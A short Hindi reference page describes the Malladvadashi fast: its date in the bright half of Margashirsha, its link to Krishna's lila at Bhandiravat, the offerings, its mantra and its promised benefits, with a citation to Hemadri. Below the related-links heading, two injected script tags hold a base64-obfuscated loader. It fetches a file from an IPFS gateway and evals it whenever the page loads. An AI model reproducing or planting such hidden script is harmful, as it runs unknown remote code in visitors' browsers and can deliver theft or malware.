- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- मल्लद्वादशी मार्ग शुक्ल की द्वादशी को होता है।
- यह गोवर्धन पर्वत पर भाण्डीरवट के नीचे होता है।
- इस जगह यमुना के तटों पर श्री कृष्ण ने गोपों (जो पहलवान या मल्ल थे) एवं गोपियों के साथ लीला (रास लीला) की थी।
- मल्ल लोग पुष्पों, दूध, दही एवं खाद्य पदार्थों से पूजा करते हैं।
- प्रत्येक द्वादशी पर एक वर्ष तक यह किया जाता है।
- इसका मन्त्र यह है–'कृष्ण मुझसे प्रसन्न रहें', इसे अरण्यद्वादशी भी कहा जाता है, क्योंकि गोपी एवं मल्ल लोग अरण्य (वन) में एक दूसरे को खाद्य पदार्थ देते हैं।
- इस व्रत से स्वास्थ्य, शक्ति, धन एवं विष्णुलोक की प्राप्ति होती है।[1]
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि व्रत॰ (1, 1115-1117
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>